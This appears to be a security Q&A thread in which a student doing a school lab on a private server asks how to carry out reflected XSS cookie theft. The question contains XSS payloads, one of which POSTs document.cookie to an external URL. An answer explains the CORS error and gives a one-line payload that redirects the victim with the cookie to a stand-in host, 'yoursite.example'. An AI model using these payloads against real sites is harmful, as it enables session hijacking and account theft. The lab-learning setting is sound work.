My school has provided us with a private server (HTTP) for each student that we can test reflected XSS attack we are asked create a test user. Create a url with malicious parameter and send it to the test user to steal the cookie and send it to an external and server e.g.Pastebin and the use that cookie to login.

I came up with this script that allows me to get the cookie:

<p> <script> alert(document.cookie) </script> </p>
url/?<p> <script> alert(document.cookie) </script> </p>

Second step is direct the cookie to differnt server,

<p> <script> var xhr = new XMLHttpRequest();
xhr.open("POST",myUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Access-Control-Allow-Origin', '*');
    value: document.cookie
}));</script> </p>

I ma getting this error has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

My question is: is there a better way to do the aforementioned steps ?

  • create a url with js script
  • send the cookie to external server
  • login using the cookie
  • In case it's not clear from the two answers you have, the access control header needs to be returned by the server, not sent by the browser. – Conor Mancone Apr 6 '20 at 1:42

You are getting that error because of the same origin policy (SOP). The default policy does not allow you to view data from other domains. However, writes are typically allowed, but since you are specifying custom headers, the browser will likely block it altogether after making a preflight request.

The easiest way would be to drop those custom headers, send it as normal form data instead of JSON, and the request should go through. You will still see the error on the client, since it cannot read the response, but it should've worked and will have been received by the server.

You could even simplify your payload. It could be as simple as:

<script>document.location = "https://yoursite.example/?cookies=" + document.cookie;</script>

Of course, that's a little more intrusive to the user, but there are similar ways that could give a better user experience.

Side note, you don't need the "Access control allow origin" headers on the client; that is a server-side header.


you need to add an Access-Control-Allow-Origin: * header in your myUrl response header or make sure the victim uses a very old browser.


Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.